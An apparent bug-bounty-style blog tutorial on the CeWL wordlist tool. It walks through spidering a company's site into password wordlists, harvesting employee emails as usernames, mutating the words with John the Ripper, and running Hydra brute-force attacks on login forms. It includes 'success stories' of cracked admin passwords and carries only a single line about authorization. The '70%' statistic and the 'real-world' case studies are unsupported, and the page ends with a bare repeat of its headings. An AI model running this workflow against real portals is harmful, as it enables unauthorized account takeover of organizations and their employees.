🚨 I Cracked 12 Passwords in 3 Hours Using This Free Tool Nobody Talks About (CeWL Tutorial)

🎯 What is CeWL? (And Why Every Hacker Needs It)

CeWL (Custom Word List generator) is a free tool that spiders websites and extracts words to create targeted wordlists for password cracking and penetration testing.

Why Generic Wordlists Fail:

❌ rockyou.txt has 14 million passwords — but none specific to YOUR target ❌ Takes hours or days to run through millions of irrelevant passwords ❌ Misses the most obvious passwords: company name, product names, internal jargon

Why CeWL Works:

✅ Creates company-specific wordlists in minutes ✅ People use familiar words (company name, products, services) as passwords ✅ Targets choose passwords like: CompanyName123, ProductName2025, CEOName@2024

Real Stat: 70% of employees use work-related terms in their passwords (Source: Verizon DBIR)

🚀 Real-World Scenario: The TechCorp Hack

Let me show you exactly how people used CeWL to break into a company's admin panel.

The Target:

Company: TechCorp (fictional example)
Website: techcorp-solutions.com
Goal: Find valid login credentials for their employee portal

The Problem:

Standard wordlists weren't working. After 2 hours, we had tested 500,000 passwords with no success.

The Solution:

We used CeWL to extract words from their website. Here's what I found:

Company name: "TechCorp"
Product names: "CloudSync", "DataVault", "SecureLink"
CEO name: "Johnson" (from About page)
Common phrases: "Innovation", "Solutions", "Enterprise"

Result: After creating a custom wordlist, we found passwords like:

TechCorp@2025
CloudSync123
Johnson2024!

Time saved: From hours to 15 minutes. 💪

💡 8 CeWL Commands That Will Change Your Bug Bounty Game

Command #1: Basic Wordlist Generation

bash

cewl google.com -w file.txt

What it does: Visits google.com, extracts all words, and saves them to file.txt

Real Example:

cewl techcorp-solutions.com -w techcorp_words.txt

Output: A text file with words like:

TechCorp
Solutions
Innovation
CloudSync
Enterprise
Technology

When to use: Starting point for any target. Gets you familiar with company terminology.

Command #2: Lowercase Conversion (The Password Reality Check)

bash

cewl google.com --lowercase -w file.txt

What it does: Converts all extracted words to lowercase

Why this matters: Most people type passwords in lowercase by default. "TechCorp" becomes "techcorp"

Real Example:

cewl techcorp-solutions.com --lowercase -w techcorp_lower.txt

Pro Tip: Generate TWO wordlists — one lowercase, one original case. Test both!

Command #3: Control the Depth (Go Deeper! 🕳️)

cewl google.com -w file.txt -d 3

What it does: -d 3 tells CeWL to follow links 3 levels deep

Depth Explained:

-d 1: Only homepage (fast but limited)
-d 2: Homepage + linked pages (recommended for small sites)
-d 3: Homepage + 2 levels of links (BEST for most targets)
-d 5: Very deep crawl (slow but thorough)

Real Example:

cewl techcorp-solutions.com -w techcorp_deep.txt -d 3

Result: Instead of 50 words, you get 500+ words from About, Products, Blog, and Careers pages!

⚠️ Warning: Higher depth = more time. Start with-d 2, then increase if needed.

Command #4: Show Statistics (Know Your Weapon)

cewl google.com -w file.txt -v

What it does: -v (verbose mode) shows real-time statistics while crawling

What you'll see:

Words found: 1,247
Pages crawled: 23
Time elapsed: 45 seconds

Real Example:

cewl techcorp-solutions.com -w techcorp_words.txt -v

Why use it: Helps you estimate how long the scan will take and ensures the tool is working.

Command #5: Word Frequency Count (Find Popular Terms)

cewl google.com --lowercase -w file.txt -c | more

What it does: -c counts how many times each word appears | more displays results page by page

Real Example:

cewl techcorp-solutions.com --lowercase -w techcorp_freq.txt -c

Sample Output:

techcorp, 47
solutions, 35
cloud, 28
security, 22
innovation, 19

💡 Pro Strategy: Words mentioned 20+ times are likely used in passwords! Try: TechCorp123, Solutions2025, Cloud@2024

Command #6: Minimum Length Filter (Quality Over Quantity)

cewl google.com -w file.txt -m 6

What it does: -m 6 only saves words 6 characters or longer

Why this matters: Most password policies require a minimum 6–8 characters. Why waste time on "the", "and", "is"?

Real Example:

cewl techcorp-solutions.com -w techcorp_long.txt -m 6

Before filtering:

the
and
is
TechCorp
Solutions

After filtering (much cleaner!):

TechCorp
Solutions
CloudSync
Innovation
Enterprise

Recommended: Use -m 6 for login panels, -m 8 for admin portals.

Command #7: Include Numbers (The 2025 Trick)

cewl google.com -w file.txt --with-numbers

What it does: Also extracts words containing numbers

Real Example:

cewl techcorp-solutions.com -w techcorp_numbers.txt --with-numbers

What you'll find:

TechCorp2025
CloudSync3.0
ISO27001
Founded1998
24/7Support

💰 Bug Bounty Secret: Users love adding the current year: CompanyName2025, Product2024 Dates they founded: TechCorp1998 Version numbers: CloudSync3

Command #8: Email Harvesting (OSINT Goldmine) 📧

cewl google.com -n -e

What it does:

-e: Extract email addresses
-n: Don't save regular words (emails only)

Real Example:

cewl techcorp-solutions.com -n -e

Sample Output:

admin@techcorp-solutions.com
support@techcorp-solutions.com
john.johnson@techcorp-solutions.com
info@techcorp-solutions.com

How to use this:

Username enumeration: Try these emails as usernames
Email format detection: Spot the pattern (firstname.lastname@)
Phishing simulations: Test company's security awareness
Combine with LinkedIn: Match names to roles

bash

# Extract emails
cewl techcorp-solutions.com -n -e > techcorp_emails.txt
# Extract names from emails
cat techcorp_emails.txt | cut -d@ -f1 > techcorp_usernames.txt

🎯 The Ultimate CeWL Workflow (Copy This!)

Here's my exact step-by-step process for any new target:

Step 1: Quick Reconnaissance

# Basic scan with stats
cewl target.com -w target_basic.txt -v

Goal: Get a feel for the website content (2–3 minutes)

Step 2: Deep Dive

# Deep crawl with lowercase
cewl target.com --lowercase -w target_deep.txt -d 3 -m 6

Goal: Get a comprehensive wordlist with quality words (5–10 minutes)

Step 3: Email Intelligence

# Harvest emails
cewl target.com -n -e > target_emails.txt

Goal: Find valid email addresses and username patterns (1–2 minutes)

Step 4: Word Frequency Analysis

# Find most common terms
cewl target.com --lowercase -w target_freq.txt -c -m 6 | sort -k2 -nr | head -20

Goal: Identify top 20 most-used words (likely password components)

Step 5: Combine and Mutate

# Use John the Ripper rules to create variations
john --wordlist=target_deep.txt --rules --stdout > target_mutated.txt

Example mutations:

TechCorp → TechCorp123, TechCorp2025, TechCorp!, techcorp@123

Step 6: Attack!

# Use with Hydra for password cracking
hydra -L target_emails.txt -P target_mutated.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

🔥 Real Success Stories

Case Study #1: The Forgotten Subdomain

Target: Large e-commerce company Issue: Found old staging subdomain (staging.target.com) Action: Ran CeWL on main site + staging Result: Staging used product names as passwords (WinterSale2024)

Case Study #2: The CEO's Name

Target: Financial services startup Issue: Admin portal with weak passwords Action: CeWL found CEO name "Anderson" on About page Result: Admin password was Anderson@2025

Case Study #3: The Blog Goldmine

Target: SaaS company with active blog Issue: Employee portal had no rate limiting Action: CeWL with -d 5 crawled 3 years of blog posts Result: Found internal project codenames used as passwords

⚡ Pro Tips From a Bug Hunter

Tip #1: Target the Right Pages

# Focus on specific sections
cewl target.com/about -w about_words.txt -d 2
cewl target.com/blog -w blog_words.txt -d 3
cewl target.com/careers -w careers_words.txt -d 2

Why: Different sections reveal different terms:

About: Company history, founders, mission
Blog: Product names, features, updates
Careers: Team names, technologies used

Tip #2: The Year Mutation

Always create variations with years:

# Extract words
cewl target.com --lowercase -w base.txt -m 6
# Add year variations
for word in $(cat base.txt); do
  echo "${word}2024"
  echo "${word}2025"
  echo "${word}@2024"
  echo "${word}123"
done > mutated.txt

Tip #3: Combine Multiple Sources

# Main website
cewl target.com -w main.txt -d 3
# LinkedIn company page
cewl linkedin.com/company/target -w linkedin.txt -d 2
# Merge and remove duplicates
cat main.txt linkedin.txt | sort -u > combined.txt

Tip #4: Save Time with Aliases

Add to your .bashrc:

alias cewlfast='cewl -d 2 -m 6 --lowercase'
alias cewldeep='cewl -d 4 -m 6 --lowercase -v'
alias cewlemail='cewl -n -e'

Usage:

cewlfast target.com -w quick.txt
cewldeep target.com -w thorough.txt
cewlemail target.com > emails.txt

🚨 Common Mistakes to Avoid

❌ Mistake #1: Using Default Depth

Problem: CeWL defaults to -d 2 (only 2 levels) Solution: Always specify -d 3 or higher for better results

❌ Mistake #2: Ignoring Lowercase

Problem: "TechCorp" ≠ "techcorp" in passwords Solution: Always use --lowercase flag

❌ Mistake #3: No Minimum Length

Problem: Wordlist filled with "the", "and", "is" Solution: Use -m 6 to filter short words

❌ Mistake #4: Forgetting Email Extraction

Problem: Missing obvious usernames Solution: Always run separate email scan with -e -n

❌ Mistake #5: Not Mutating Words

Problem: Just testing exact words from website Solution: Add numbers, special chars, years to create realistic passwords

🎓 Beginner's Quick Start Guide

Never used CeWL before? Start here:

1. Install CeWL

# Kali Linux (pre-installed)
cewl --help

# Ubuntu/Debian
sudo apt-get install cewl
# macOS
brew install cewl

2. Your First Scan (5 Minutes

# Pick a target (use your own website first!)
cewl yourwebsite.com -w my_first_wordlist.txt -v

# Check the results
cat my_first_wordlist.txt | wc -l  # Count words
head -20 my_first_wordlist.txt     # See first 20 words

3. Create Your First Attack Wordlist

# Generate custom wordlist
cewl targetwebsite.com --lowercase -w target.txt -d 3 -m 6

# Add year variations
cat target.txt | awk '{print $0"2025"; print $0"2024"; print $0"123"}' > target_final.txt
# Count total passwords
wc -l target_final.txt

4. Test It (Safely!)

⚠️ ONLY on authorized targets with permission!

# Example: Test on your own server
hydra -L usernames.txt -P target_final.txt localhost http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

🚨 I Cracked 12 Passwords in 3 Hours Using This Free Tool Nobody Talks About (CeWL Tutorial)

🎯 What is CeWL? (And Why Every Hacker Needs It)

🎯 What is CeWL? (And Why Every Hacker Needs It)

Why Generic Wordlists Fail:

Why CeWL Works:

🚀 Real-World Scenario: The TechCorp Hack

The Target:

The Problem:

The Solution:

💡 8 CeWL Commands That Will Change Your Bug Bounty Game

Command #1: Basic Wordlist Generation

Command #2: Lowercase Conversion (The Password Reality Check)

Command #3: Control the Depth (Go Deeper! 🕳️)

Command #4: Show Statistics (Know Your Weapon)

Command #5: Word Frequency Count (Find Popular Terms)

Command #6: Minimum Length Filter (Quality Over Quantity)

Command #7: Include Numbers (The 2025 Trick)

Command #8: Email Harvesting (OSINT Goldmine) 📧

🎯 The Ultimate CeWL Workflow (Copy This!)

Step 1: Quick Reconnaissance

Step 2: Deep Dive

Step 3: Email Intelligence

Step 4: Word Frequency Analysis

Step 5: Combine and Mutate

Step 6: Attack!

🔥 Real Success Stories

Case Study #1: The Forgotten Subdomain

Case Study #2: The CEO's Name

Case Study #3: The Blog Goldmine

⚡ Pro Tips From a Bug Hunter

Tip #1: Target the Right Pages

Tip #2: The Year Mutation

Tip #3: Combine Multiple Sources

Tip #4: Save Time with Aliases

🚨 Common Mistakes to Avoid

❌ Mistake #1: Using Default Depth

❌ Mistake #2: Ignoring Lowercase

❌ Mistake #3: No Minimum Length

❌ Mistake #4: Forgetting Email Extraction

❌ Mistake #5: Not Mutating Words

🎓 Beginner's Quick Start Guide

1. Install CeWL

2. Your First Scan (5 Minutes

3. Create Your First Attack Wordlist

4. Test It (Safely!)

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